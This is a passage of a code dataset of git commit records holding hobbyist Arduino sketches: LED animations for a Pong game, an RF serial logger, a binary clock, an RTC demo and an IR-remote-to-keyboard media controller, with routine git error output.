code\n","repos":"KAZOOSH\/Pong,KAZOOSH\/Pong,KAZOOSH\/Pong","old_file":"apps\/Pong\/arduino\/Buzzer_post_multiple_channels\/Buzzer_post_multiple_channels.ino","new_file":"apps\/Pong\/arduino\/Buzzer_post_multiple_channels\/Buzzer_post_multiple_channels.ino","new_contents":"\n\n#include \"FastLED.h\"\n#include <Keyboard.h>\n\n#define MAX_HELLIGKEIT_STRIPES 180\n#define FADE_NEXT_ON_AT 30\n#define MIN_HELLIGKEIT_PULSE 100\n\n#define MAX_HELLIGKEIT_CIRCLE 150\n\n#define CIRCLE_SPEED 4\n#define STRIPE_SPEED 10\n\n\n\n#define NUM_LEDS_circle 24\n\n#define NUM_LEDS_stripe 60\n#define START_LED_STRIPE 12\n\n#define DATA_PIN_circle 4\n\n#define NUM_STRIPES 4\n#define DATA_PIN_stripe1 5\n#define DATA_PIN_stripe2 6\n#define DATA_PIN_stripe3 9\n#define DATA_PIN_stripe4 8\n\n#define sensor_input 3\n#define button_input 12\n\n\n\nCRGB leds_circle[NUM_LEDS_circle];\nCRGB leds_stripe[NUM_STRIPES][NUM_LEDS_stripe];\n\nvoid setup() {\n \/\/ declare the ledPin as an OUTPUT:\n pinMode(sensor_input, INPUT);\n pinMode(button_input, INPUT);\n digitalWrite(button_input, HIGH);\n Keyboard.begin();\n \/\/Serial.begin(9600);\n \n FastLED.addLeds<WS2812, DATA_PIN_circle, GRB>(leds_circle, NUM_LEDS_circle);\n FastLED.addLeds<WS2812, DATA_PIN_stripe1, GRB>(leds_stripe[0], NUM_LEDS_stripe);\n FastLED.addLeds<WS2812, DATA_PIN_stripe2, GRB>(leds_stripe[1], NUM_LEDS_stripe);\n FastLED.addLeds<WS2812, DATA_PIN_stripe3, GRB>(leds_stripe[2], NUM_LEDS_stripe);\n FastLED.addLeds<WS2812, DATA_PIN_stripe4, GRB>(leds_stripe[3], NUM_LEDS_stripe);\n clear_display(0);\n clear_display(1);\n FastLED.show();\n\n}\n\nvoid loop() {\n \n CRGB color_rgb;\n CHSV hsv_color;\n int circle_direction[NUM_LEDS_circle];\n int circle_value[NUM_LEDS_circle];\n int stripe_direction[NUM_LEDS_stripe];\n int stripe_value[NUM_LEDS_stripe];\n int previous_led, touched, ct_fade;\n \/\/ read the value from the sensor:\n\n hsv_color.h=0;\n hsv_color.s=0;\n hsv_color.v=0;\n\n\n\n \/\/ Geldeinwurf Kreis dreht sich\n \n for (int ct_x = 0; ct_x < NUM_LEDS_circle; ct_x++)\n {\n circle_value[ct_x]=0;\n circle_direction[ct_x]=0;\n }\n \n circle_direction[0]=1;\n while(digitalRead(sensor_input)) {\n \n for (int ct_x = 0; ct_x < NUM_LEDS_circle; ct_x++)\n {\n if (circle_direction[ct_x]==1) {\n circle_value[ct_x]=circle_value[ct_x]+CIRCLE_SPEED;\n }\n if (circle_direction[ct_x]==2) {\n circle_value[ct_x]=circle_value[ct_x]-CIRCLE_SPEED;\n }\n\n if (circle_value[ct_x]>MAX_HELLIGKEIT_CIRCLE) {\n circle_direction[ct_x]=2;\n }\n\n if (circle_value[ct_x]==0) {\n circle_direction[ct_x]=0;\n }\n\n if ((circle_value[ct_x]>30)&&(circle_direction[ct_x]==1)) {\n if (ct_x==0) {\n previous_led=NUM_LEDS_circle-1;\n }\n else {\n previous_led=ct_x-1;\n }\n circle_direction[previous_led]=1;\n }\n \n \n hsv_color.v=circle_value[ct_x];\n hsv2rgb_rainbow(hsv_color,leds_circle[ct_x]);\n }\n FastLED.show();\n }\n \n clear_display(0);\n FastLED.show();\n\n\n\n \/\/ Lade S\u00e4ule auf\n \n for (int ct_x = START_LED_STRIPE; ct_x < NUM_LEDS_stripe; ct_x++)\n {\n stripe_value[ct_x]=0;\n stripe_direction[ct_x]=0;\n }\n \n stripe_direction[START_LED_STRIPE]=1;\n while(stripe_value[NUM_LEDS_stripe-1]<MAX_HELLIGKEIT_STRIPES) {\n \n for (int ct_x = START_LED_STRIPE; ct_x < NUM_LEDS_stripe; ct_x++)\n {\n if (stripe_direction[ct_x]==1) {\n stripe_value[ct_x]=stripe_value[ct_x]+STRIPE_SPEED;\n }\n\n if (stripe_value[ct_x]>MAX_HELLIGKEIT_STRIPES) {\n stripe_direction[ct_x]=0;\n }\n\n if ((stripe_value[ct_x]>FADE_NEXT_ON_AT)&&(stripe_direction[ct_x]==1)) {\n if (ct_x<NUM_LEDS_stripe-1) {\n previous_led=ct_x+1;\n }\n stripe_direction[previous_led]=1;\n }\n \n \n hsv_color.v=stripe_value[ct_x];\n hsv2rgb_rainbow(hsv_color,color_rgb);\n for (int ct_stripe = 0; ct_stripe<NUM_STRIPES;ct_stripe++){\n leds_stripe[ct_stripe][ct_x]=color_rgb;\n }\n }\n FastLED.show();\n \n }\n\n \/\/ S\u00e4ule ist bereit und pulsiert\n touched=0;\n while(!touched) {\n ct_fade=MAX_HELLIGKEIT_STRIPES;\n while ((!touched)&&(ct_fade>MIN_HELLIGKEIT_PULSE)) {\n hsv_color.v=ct_fade;\n for (int ct_led = START_LED_STRIPE; ct_led < NUM_LEDS_stripe; ct_led++)\n {\n for (int ct_stripe = 0; ct_stripe<NUM_STRIPES;ct_stripe++){\n hsv2rgb_rainbow(hsv_color,leds_stripe[ct_stripe][ct_led]);\n }\n if (!digitalRead(button_input)) {\n touched=1;\n }\n }\n FastLED.show();\n ct_fade--;\n }\n while ((!touched)&&(ct_fade<MAX_HELLIGKEIT_STRIPES)) {\n hsv_color.v=ct_fade;\n for (int ct_led = START_LED_STRIPE; ct_led < NUM_LEDS_stripe; ct_led++)\n {\n for (int ct_stripe = 0; ct_stripe<NUM_STRIPES;ct_stripe++){\n hsv2rgb_rainbow(hsv_color,leds_stripe[ct_stripe][ct_led]);\n }\n if (!digitalRead(button_input)) {\n touched=1;\n }\n }\n FastLED.show();\n ct_fade++;\n }\n }\n Keyboard.print('p');\n\n for (int ct_x = MAX_HELLIGKEIT_STRIPES; ct_x >= 0; ct_x--)\n {\n hsv_color.v=ct_x;\n for (int ct_led = START_LED_STRIPE; ct_led < NUM_LEDS_stripe; ct_led++)\n {\n for (int ct_stripe = 0; ct_stripe<NUM_STRIPES;ct_stripe++){\n hsv2rgb_rainbow(hsv_color,leds_stripe[ct_stripe][ct_led]);\n }\n }\n FastLED.show();\n }\n\n}\n\n\nvoid clear_display(int channel)\n{\n int ct_led;\n\n if (channel==0) {\n for (int ct_x = 0; ct_x < NUM_LEDS_circle; ct_x++)\n {\n leds_circle[ct_x] = CRGB::Black;\n }\n }\n else {\n for (int ct_x = 0; ct_x < NUM_LEDS_stripe; ct_x++)\n {\n for (int ct_stripe = 0; ct_stripe<NUM_STRIPES;ct_stripe++){\n leds_stripe[ct_stripe][ct_x] = CRGB::Black;\n }\n }\n }\n\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'apps\/Pong\/arduino\/Buzzer_post_multiple_channels\/Buzzer_post_multiple_channels.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"70a6dcbaa18c60c37fd0ede5e7f1bd137b901b21","subject":"RF receiver to serial out","message":"RF receiver to serial out\n","repos":"theapi\/solar,theapi\/solar,theapi\/solar,theapi\/solar,theapi\/solar","old_file":"receiver_datalog\/receiver_datalog.ino","new_file":"receiver_datalog\/receiver_datalog.ino","new_contents":"\/**\n * Listen to the RF transmitter and print it to the serial monitor.\n *\/\n#include <VirtualWire.h>\n\n\n\/\/ Pin 11 is the default receiver pin.\n\/\/ @see http:\/\/www.airspayce.com\/mikem\/arduino\/VirtualWire_8h.html#ae62b601260ae59e7e83c1e63ae0c064b\n\nint received_reset_interval = 60 * 60 * 1000; \/\/ How often to reset the received counter.\nint received_count; \/\/ How many transmissions have been received.\nunsigned long received_last_reset;\n\nvoid setup() \n{\n pinMode(13, OUTPUT);\n \n \/\/ initialize serial communication\n Serial.begin(9600);\n Serial.println(\"setup\");\n \n received_count = 0;\n received_last_reset = millis();\n \n \/\/ Initialise the IO and ISR\n vw_set_ptt_inverted(true); \/\/ Required for DR3100\n vw_setup(2000); \/\/ Bits per sec\n \/\/ vw_set_tx_pin(11);\n vw_rx_start(); \/\/ Start the receiver PLL running\n}\n\nvoid loop()\n{\n uint8_t buf[VW_MAX_MESSAGE_LEN];\n uint8_t buflen = VW_MAX_MESSAGE_LEN;\n \n unsigned long now = millis();\n if (now - received_last_reset > received_reset_interval) {\n received_last_reset = now; \n received_count = 0;\n }\n \n if (vw_get_message(buf, &buflen)) {\n int i;\n digitalWrite(13, HIGH); \/\/ Flash a light to show received good message\n \/\/ Message with a good checksum received, output it to serial.\n Serial.print(\"R: \");\n for (i = 0; i < buflen; i++) {\n Serial.print(char(buf[i]));\n }\n Serial.println(\"\");\n \n ++received_count;\n Serial.print(\"C: \");\n Serial.println(received_count);\n \n digitalWrite(13, LOW);\n }\n\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'receiver_datalog\/receiver_datalog.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"23bf6f8aef7dce89ddaff0f17336a72a7e7a0ae9","subject":"Create base2clock5.ino","message":"Create base2clock5.ino","repos":"linuxmania\/base2clock","old_file":"base2clock5.ino","new_file":"base2clock5.ino","new_contents":"\/***************************\n *\n * base 2 clock code for arduino\n * Copyleft (C) 2015 Daniel K. Spicer\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\n ****************************\/\n \n\/\/ adjust this value to tune the clock. 5000 should be close, lower if clock runs slow, higher if fast.\n#define INTERVAL_TIME 4995\n\n\/\/int's representing led's. 1 = on, 0 = off. Initially they will all be off.\nint p1,p2,p3,p4,p5,p6,p7,p8,p9 = 0;\nint iterations = 0;\nboolean increment, reset_fast, reset_slow, time_set, setting_time = false;\nunsigned long mils, prev_mils = 0;\n\nvoid setup(){\n \/\/8 led's as outputs.\n pinMode(13, OUTPUT);\n pinMode(12, OUTPUT);\n pinMode(11, OUTPUT);\n pinMode(10, OUTPUT);\n pinMode(9, OUTPUT);\n pinMode(8, OUTPUT);\n pinMode(7, OUTPUT);\n pinMode(6, OUTPUT);\n\n pinMode(2, INPUT);\n digitalWrite(2, HIGH);\n\n attachInterrupt(0, setTimeSlow , FALLING); \/\/ pin 2\n \n prev_mils = millis();\n\n \/\/time set buttons as inputs.\n pinMode(4, INPUT);\n digitalWrite(4, HIGH); \n} \/\/ end setup()\n\nvoid loop(){\n \/\/reinitialize time setting booleans to false.\n reset_fast = false;\n reset_slow = false;\n setting_time = false;\n\n \/\/see if the time is being set.\n if(digitalRead(4) == LOW){\n reset_fast = true;\n resetTimeSetFlags();\n }\n\n if(!time_set){ \/\/ time has never been set so just blink the lights.\n if(p8 == 1)\n p8 = p7 = p6 = p5 = p4 = p3 = p2 = p1 = 0;\n else\t\n p8 = p7 = p6 = p5 = p4 = p3 = p2 = p1 = 1;\n lightLights();\n } else { \/\/time has been set, so increment as instructed.\n if(!increment){\n iterations++;\n if(iterations == 12){\n iterations = 0;\n increment = true;\n }\n }\n if(increment){\n increment = false;\n if(setting_time || !setIncrementFlag()){\n doIncrement();\n }\n }\n } \/\/end time_set is true\n \n \/\/ figure out the loop delay, typically 5 seconds, 1 second if the time has never been set\n \/\/ and we are blinking the lights, 0.1 second if we are coarse setting the time and 1 second\n \/\/ if we are fine setting the time.\n if(reset_fast){\n delay(100);\n iterations = 0;\n } else if(!time_set) {\n delay(1000);\n } else delay(INTERVAL_TIME);\n} \/\/ end loop()\n\nvoid setTimeSlow(){\n increment = false;\n time_set = true;\n iterations = 0;\n p9 = 0;\n \n mils = millis();\n if(mils - prev_mils > 150)\n doIncrement();\n prev_mils = mils; \n\n}\n\nvoid resetTimeSetFlags(){\n setting_time = true;\n increment = true;\n time_set = true;\n iterations = 0;\n p9 = 0;\n}\n\nboolean setIncrementFlag(){\n if(p9 == 0 && (p8 == 0 || p7 == 0 || p6 == 0)){\n p9 = 1;\n return true;\n }\n return false;\n}\n\nvoid doIncrement(){\n p9 = 0;\n\n if(p8 == 0){\n p8 = 1;\n } \n else if (p7 == 0){\n p7 = 1;\n p8 = 0;\n } \n else if (p6 == 0){\n p6 = 1;\n p8 = p7 = 0;\n } \n else if (p5 == 0){\n p5 = 1;\n p8 = p7 = p6 = 0;\n } \n else if (p4 == 0){\n p4 = 1;\n p8 = p7 = p6 = p5 = 0;\n } \n else if (p3 == 0){\n p3 = 1;\n p8 = p7 = p6 = p5 = p4 = 0;\n } \n else if (p2 == 0){\n p2 = 1;\n p8 = p7 = p6 = p5 = p4 = p3 = 0;\n } \n else if (p1 == 0){\n p1 = 1;\n p8 = p7 = p6 = p5 = p4 = p3 = p2 = 0;\n } \n else { \/\/ all lights were lit, so this increment resets them to all off\n p8 = p7 = p6 = p5 = p4 = p3 = p2 = p1 = 0;\n }\n\n lightLights();\n} \/\/ end doIncrement()\n\nvoid lightLights() {\n if(p1 == 1)\n digitalWrite(13, HIGH);\n else\t\n digitalWrite(13, LOW);\n if(p2 == 1)\n digitalWrite(12, HIGH);\n else\t\n digitalWrite(12, LOW);\n if(p3 == 1)\n digitalWrite(11, HIGH);\n else\t\n digitalWrite(11, LOW);\n if(p4 == 1)\n digitalWrite(10, HIGH);\n else\t\n digitalWrite(10, LOW);\n if(p5 == 1)\n digitalWrite(9, HIGH);\n else\t\n digitalWrite(9, LOW);\n if(p6 == 1)\n digitalWrite(8, HIGH);\n else\t\n digitalWrite(8, LOW);\n if(p7 == 1)\n digitalWrite(7, HIGH);\n else\t\n digitalWrite(7, LOW);\n if(p8 == 1)\n digitalWrite(6, HIGH);\n else\t\n digitalWrite(6, LOW);\n} \/\/ end lightLights() \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'base2clock5.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"827670d927ad151ef06719b385ce03643336d71a","subject":"Combined the ESP8266 with the sketch","message":"Combined the ESP8266 with the sketch\n","repos":"Omemanti\/MantiOT","old_file":"Sketches\/Manti_Irrigation_Controller_V2\/Manti_Irrigation_Controller_V2.ino","new_file":"Sketches\/Manti_Irrigation_Controller_V2\/Manti_Irrigation_Controller_V2.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Omemanti\/MantiOT.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"f4a793bc0c1eb2cc8979f933bc8e9001a5c75234","subject":"add misc sketch for playing with an RTC module","message":"add misc sketch for playing with an RTC module\n","repos":"wiredlab\/rfid-attendance,wiredlab\/rfid-attendance,wiredlab\/rfid-attendance","old_file":"code\/ds3231\/ds3231.ino","new_file":"code\/ds3231\/ds3231.ino","new_contents":"\/\/ Date and time functions using a DS3231 RTC connected via I2C and Wire lib\n#include <Wire.h>\n#include \"RTClib.h\"\n\n\n\/\/ Pinout of the RTC modules:\n\/\/ from top (chip side) pins on top\n\/\/ 1 - Vdd\n\/\/ 2 - SDA\n\/\/ 3 - SCL\n\/\/ 4 - no-connect\n\/\/ 5 - GND\n\/\/ power the RTC from a GPIO pin\n#define RTC_PWR_PIN 16 \/\/ AKA \"XPO\" to module's Vdd\n#define SDA_PIN 2 \/\/ on ESP8266\n#define SCL_PIN 4\n\n\n\/\/ interval in ms to print the current time\nstatic unsigned long interval = 2000;\n\n\n\nRTC_DS3231 rtc;\n\nchar daysOfTheWeek[7][12] = {\"Sunday\", \"Monday\", \"Tuesday\", \"Wednesday\", \"Thursday\", \"Friday\", \"Saturday\"};\nunsigned long lastMillis = 0;\n\n\n\nvoid setup () {\n\n#ifndef ESP8266\n while (!Serial); \/\/ for Leonardo\/Micro\/Zero\n#endif\n\n Serial.begin(115200);\n\n \/\/ power the RTC from a GPIO\n pinMode(RTC_PWR_PIN, OUTPUT);\n digitalWrite(RTC_PWR_PIN, HIGH);\n \/\/ setup the I2C pins for the RTC\n Wire.begin(SDA_PIN, SCL_PIN); \/\/ SDA, SCL\n\n delay(3000); \/\/ wait for console opening\n\n if (! rtc.begin()) {\n Serial.println(\"Couldn't find RTC\");\n while (1);\n }\n\n Serial.println();\n Serial.println(\"Set clock by sending a line of 6 integers:\");\n Serial.println(\"yyyy mm dd hh mm ss\");\n}\n\n\nvoid loop () {\n if (Serial.available()) {\n \/\/ command line format:\n \/\/ yyyy mm dd hh mm ss\n int year = Serial.parseInt();\n int month = Serial.parseInt();\n int day = Serial.parseInt();\n int hour = Serial.parseInt();\n int minute = Serial.parseInt();\n int second = Serial.parseInt();\n\n \/\/ get here as quickly as possible\n rtc.adjust(DateTime(year, month, day, hour, minute, second));\n Serial.print(\"Setting time to: \");\n printDateTime(year, month, day, hour, minute, second);\n\n \/\/ now consume the rest of the input line\n Serial.readString();\n }\n\n \/\/ no delays in the loop so there is little delay between sending the time\n \/\/ string and setting the RTC time\n unsigned long currentMillis = millis();\n if ((unsigned long)(currentMillis - lastMillis) >= interval) {\n lastMillis = currentMillis;\n DateTime now = rtc.now();\n printDateTime(now.year(), now.month(), now.day(),\n now.hour(), now.minute(), now.second());\n }\n}\n\n\n\/*\n * Utility function to print a datetime in RFC3339 format\n * https:\/\/tools.ietf.org\/html\/rfc3339#page-6\n *\/\nchar *printDateTime(int year, int month, int day,\n int hour, int minute, int second)\n{\n char buf[32];\n sprintf(buf, \"%04d-%02d-%02d %02d:%02d:%02dZ\",\n year, month, day, hour, minute, second);\n Serial.println(buf);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'code\/ds3231\/ds3231.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d9165753634c6f0cd8b257cc6d29454e04e71ab3","subject":"Create IR2Keyboard.ino (#292)","message":"Create IR2Keyboard.ino (#292)\n\nMaybe useful \ud83d\ude00 ","repos":"AnalysIR\/Arduino-IRremote,AnalysIR\/Arduino-IRremote,z3t0\/Arduino-IRremote,shirriff\/Arduino-IRremote,shirriff\/Arduino-IRremote,z3t0\/Arduino-IRremote","old_file":"IR2Keyboard.ino","new_file":"IR2Keyboard.ino","new_contents":"\/*\nthis is just an example of creative (maybe useful) use of IR in a PC, as a media center or some other automatizations.\nthe idea is fordward the IR commands (from any spare remote you may have) to keyboard pulses, combos, shortcuts, etc.\nKeyboard funtions only available on \"leonardo\" and \"micro\". for more keys read into https:\/\/www.arduino.cc\/en\/Reference\/KeyboardModifiers\nfor IR decoding im using the amazing lib from: http:\/\/www.righto.com\/2009\/08\/multi-protocol-infrared-remote-library.html \nRemote class emulate media keys. need to be added manually to the arduino lib. http:\/\/stefanjones.ca\/blog\/arduino-leonardo-remote-multimedia-keys\/\nthis is optional, you dont need Remote class to run the IR or Keyboard; its only for media keys\n *\/\n \n \n \/*\nRemote methods:\nhttp:\/\/stefanjones.ca\/blog\/arduino-leonardo-remote-multimedia-keys\/\nVolume\n Remote.increase(void);\n Remote.decrease(void);\n Remote.mute(void);\nPlayback\n Remote.play(void);\n Remote.pause(void);\n Remote.stop(void); \nTrack Controls\n Remote.next(void);\n Remote.previous(void);\n Remote.forward(void);\n Remote.rewind(void);\nSend an empty report to prevent repeated actions\n Remote.clear();\n *\/\n\n#include <IRremote.h>\n#define T 15\nint RECV_PIN = 2;\nIRrecv irrecv(RECV_PIN);\ndecode_results results;\n\/\/boolean flechas = false;\nboolean rotacion = false;\n\nvoid setup()\n{\n pinMode(0,OUTPUT);\n pinMode(1,OUTPUT);\n digitalWrite(0,HIGH);\n digitalWrite(1,LOW);\/\/using pin 0 and 1 to power the IRreciver, pin 2 is serial input.\n Serial.begin(57600);\n Keyboard.begin();\n irrecv.enableIRIn(); \/\/ Start the receiver\n}\n\nvoid loop() {\n if (irrecv.decode(&results)) {\n \/\/DellRemote(results.value);\n PanasonicRemote(results.value);\n \/\/mapping(results.value);\n delay(300);\/\/estaba en 100\/\/500 es muy largo\n irrecv.resume(); \/\/ Receive the next value\n }\n else{ delay(200);}\/\/estaba en 100\n}\n\nvoid mapping(long code){\n \/\/use this funtion to map the codes of all your buttons. some buttons send different codes if they are hold down\n if ((code == 0x801C2B2E) or (code == 0xB4AFB411) or (code == 0xD17D8037)){Serial.println(\"adelante\/fordware button\"); }\n else if ((code == 0xB7AFB8C8) or (code == 0xD07D7EA2) or (code == 0x801CAB2F)){Serial.println(\"atras\/previous button\"); }\n else {Serial.print(results.value, HEX); Serial.println(\"-----DESCONOCIDO\/unkonw code! \"); }\n}\n\nvoid PanasonicRemote(long code){\n \/\/here i have mapped some buttons of my blueray remote.\n if (code == 0xD00A0AD){\/*adelante*\/ Keyboard.releaseAll();delay(T); Keyboard.press(KEY_LEFT_ALT); Keyboard.press(KEY_RIGHT_ARROW); delay(T); Keyboard.releaseAll(); \/*Remote.forward(); Remote.clear();*\/}\/\/Ctrl + -> fordward 10 seconds VLC\n else if (code == 0xD00202D){\/*atras*\/ Keyboard.releaseAll();delay(T); Keyboard.press(KEY_LEFT_ALT); Keyboard.press(KEY_LEFT_ARROW); delay(T); Keyboard.releaseAll(); \/*Remote.rewind(); Remote.clear();*\/} \/\/Ctrl + <- rewind 10 seconds VLC \n else if (code == 0xD00525F){\/*next*\/ Keyboard.releaseAll();delay(T); Remote.next(); Remote.clear();}\n else if (code == 0xD00929F){\/*prev*\/ Keyboard.releaseAll();delay(T); Remote.previous(); Remote.clear();}\n \/\/else if (code == 0xD00000D){\/*stop*\/ Keyboard.releaseAll();delay(T); Remote.stop(); Remote.clear();}\n else if (code == 0x1000405){\/*vol +*\/ Keyboard.releaseAll();delay(T);Remote.increase(); Remote.clear();}\n else if (code == 0x1008485){\/*vol -*\/ Keyboard.releaseAll();delay(T);Remote.decrease(); Remote.clear(); }\n else if (code == 0xD00BCB1){\/*POWER*\/ Keyboard.releaseAll();delay(T);Remote.mute(); Remote.clear();}\n else if ((code == 0xD00606D) or (code == 0xD00505D)){\/*play\/pause*\/ Keyboard.releaseAll();delay(T); Remote.play(); Remote.clear();}\n else if (code == 0xD00818C){\/*return*\/ Keyboard.releaseAll(); delay(T); Keyboard.write(KEY_ESC);}\n else if (code == 0xD00414C){\/*OK*\/ Keyboard.releaseAll(); delay(T); Keyboard.print(\" \"); \/*evitar doble pulsaciondelay(300);*\/}\n else if (code == 0x100BCBD){\/*tvPower*\/ Keyboard.releaseAll();delay(T);Keyboard.press(KEY_LEFT_CTRL); Keyboard.press(KEY_UP_ARROW); delay(T); Keyboard.releaseAll();}\/\/volumen en VLC\n else if (code == 0x100A0A1){\/*input AV*\/ Keyboard.releaseAll();delay(T);Keyboard.press(KEY_LEFT_CTRL); Keyboard.press(KEY_DOWN_ARROW); delay(T); Keyboard.releaseAll();}\/\/volumen en VLC \n else if (code == 0xD00808D){\/*open\/close*\/Keyboard.releaseAll();delay(T);Keyboard.press(KEY_LEFT_CTRL); Keyboard.press(KEY_PAGE_UP); delay(T); Keyboard.releaseAll();}\/\/cambiar canal HEXCHAT\n else if (code == 0xD004944){\/*display*\/ Keyboard.releaseAll();delay(T);Keyboard.press(KEY_LEFT_CTRL); Keyboard.press(KEY_PAGE_DOWN); delay(T); Keyboard.releaseAll();}\/\/cambiar canal HEXCHAT\n else if (code == 0xD803AB7){\/*DLNA*\/ if (rotacion){Keyboard.releaseAll();rotacion=false;delay(T);}\n else{Keyboard.releaseAll(); delay(T); Keyboard.press(KEY_LEFT_GUI); delay(T); Keyboard.write(KEY_TAB);rotacion=true;}}\n \/\/rotation mode \/\/iniciar animacion de rotacion de ventanas \/\/start window rotation with compiz \n else if (code == 0xD00A1AC){\/*arrow up*\/ Keyboard.write(KEY_UP_ARROW);}\n else if (code == 0xD00616C){\/*arrow down*\/ Keyboard.releaseAll();delay(T);Keyboard.write(KEY_DOWN_ARROW);}\n else if (code == 0xD00E1EC){\/*arrow right*\/ Keyboard.write(KEY_LEFT_ARROW);}\n else if (code == 0xD00111C){\/*arrow left*\/ Keyboard.write(KEY_RIGHT_ARROW);}\n else if (code == 0xD00D9D4){\/*TOP MENU*\/ Keyboard.print(\"f\");}\/\/f pone a pantalla completa en VLC fullscreen\n else if (code == 0xD00010C){\/*S sub menu*\/ Keyboard.print(\"v\");}\/\/v cambia subs en VLC change subs\n else if (code == 0xD00CCC1){\/*AUDIO*\/ Keyboard.print(\"b\");}\/\/b cambia audio en VLC change audio track\n else if (code == 0xD002825){\/*#5*\/ Keyboard.write(KEY_RETURN);}\/\/useful to press enter on the file you want to play.\n else {Serial.print(results.value, HEX); Serial.println(\"-----DESCONOCIDO!\"); }\n}\n\n\n\/\/void DellRemote(long code){\n\/\/ if ((code == 0x801C2B2E) or (code == 0xB4AFB411) or (code == 0xD17D8037))\n\/\/ {\/*adelante*\/ Keyboard.releaseAll();delay(T);flechas = false;Keyboard.press(KEY_LEFT_ALT); Keyboard.press(KEY_RIGHT_ARROW); delay(T); Keyboard.releaseAll(); \/*Remote.forward(); Remote.clear();*\/}\n\/\/ \/\/adelantar en VLC forward\n\/\/ else if ((code == 0xB7AFB8C8) or (code == 0xD07D7EA2) or (code == 0x801CAB2F))\n\/\/ {\/*atras*\/ Keyboard.releaseAll();delay(T);flechas = false;Keyboard.press(KEY_LEFT_ALT); Keyboard.press(KEY_LEFT_ARROW); delay(T); Keyboard.releaseAll(); \/*Remote.rewind(); Remote.clear();*\/}\n\/\/ \/\/retroceder en VLC backwards\n\/\/ \n\/\/ else if ((code == 0x98BD82C2) or (code == 0xD218D2C) or (code == 0xBD218D2C))\n\/\/ {\/*next*\/ Keyboard.releaseAll();delay(T);flechas = false;Remote.next(); Remote.clear();}\n\/\/ else if ((code == 0x7CA73789) or (code == 0x63D971B3) or (code == 0x801CAB21))\n\/\/ {\/*prev*\/ Keyboard.releaseAll();delay(T);flechas = false;Remote.previous(); Remote.clear();}\n\/\/ else if ((code == 0x851FCFD5) or (code == 0xB599B51F) or (code == 0x801CAB31))\n\/\/ {\/*stop*\/ Keyboard.releaseAll();delay(T);flechas = false;Remote.stop(); Remote.clear();}\n\/\/ else if ((code == 0x5ECE5800) or (code == 0x419B5F52) or (code == 0x801CAB2C))\n\/\/ {\/*play\/pause*\/ Keyboard.releaseAll();delay(T);flechas = false;Remote.play(); Remote.clear();}\n\/\/ else if ((code == 0x948C3B0) or (code == 0x17B591EA) or (code == 0x801CABA4))\n\/\/ {\/*backspace*\/ Keyboard.write(KEY_ESC);delay(T);flechas = false;Keyboard.releaseAll();}\n\/\/ else if ((code == 0x2AF7C446) or (code == 0x31D33AF4) or (code == 0x801CAB5C))\n\/\/ {\/*check*\/ if(flechas){Keyboard.releaseAll();delay(T);flechas = false;}else{ Keyboard.print(\" \");}}\n\/\/ \n\/\/ else if ((code == 0x801CABCE) or (code == 0xC838DBEF) or (code == 0x11A1DED)) \n\/\/ {\/*page up*\/ Keyboard.releaseAll();delay(T);flechas = false;Keyboard.press(KEY_LEFT_CTRL); Keyboard.press(KEY_UP_ARROW); delay(T); Keyboard.releaseAll();}\n\/\/ \/\/volumen en VLC\n\/\/ else if ((code == 0x41A22A4) or (code == 0xC738DA5A) or (code == 0x801CABCF))\n\/\/ {\/*page down*\/ Keyboard.releaseAll();delay(T);flechas = false;Keyboard.press(KEY_LEFT_CTRL); Keyboard.press(KEY_DOWN_ARROW); delay(T); Keyboard.releaseAll();}\n\/\/ \/\/volumen en VLC\n\/\/ \n\/\/ else if ((code == 0x1EBE32) or (code == 0x529FB6FC) or (code == 0x801C2B10)) \n\/\/ {\/*vol up*\/ Keyboard.releaseAll();delay(T);flechas = false;Remote.increase(); Remote.clear();}\n\/\/ else if ((code == 0x801CAB11) or (code == 0xA2AB03A3) or (code == 0xE48B8D9))\n\/\/ {\/*vol down*\/ Keyboard.releaseAll();delay(T);flechas = false;Remote.decrease(); Remote.clear(); }\n\/\/ else if ((code == 0xFB6B19B4) or (code == 0x1662CD72) or (code == 0x801C2B0D))\n\/\/ {\/*mute*\/ Keyboard.releaseAll();delay(T);flechas = false;Remote.mute(); Remote.clear();}\n\/\/ \n\/\/ else if ((code == 0x2E88114A) or (code == 0x4B9B7430) or (code == 0x801CAB58)){\/*arrow up*\/\n\/\/ \/\/iniciar animacion de rotacion de ventanas\n\/\/ \/\/start window rotation with compiz\n\/\/ Keyboard.releaseAll();\n\/\/ delay(T);\n\/\/ Keyboard.write(KEY_UP_ARROW);\n\/\/ Keyboard.press(KEY_LEFT_GUI);\n\/\/ delay(T);\n\/\/ Keyboard.write(KEY_TAB);flechas=true;}\/\/rotation mode\n\/\/ \n\/\/ else if ((code == 0x2EA26AFB) or (code == 0xAD79DDED) or (code == 0x801CAB59))\n\/\/ {\/*arrow down*\/ Keyboard.releaseAll();delay(T);flechas = false;Keyboard.print(\"b\");delay(T);Keyboard.write(KEY_DOWN_ARROW);}\n\/\/ \/\/b cambia audio en VLC change audio track\n\/\/ else if ((code == 0x3B726EB4) or (code == 0x54A4E562) or (code == 0x801C2B5B))\n\/\/ {\/*arrow right*\/ if (flechas){Keyboard.write(KEY_LEFT_ARROW);}else{Keyboard.print(\"v\");}}\n\/\/ \/\/v cambia subs en VLC change subs\n\/\/ else if ((code == 0x801CAB5A) or (code == 0x3C727047) or (code == 0x55A4E6F5))\n\/\/ {\/*arrow left*\/ if 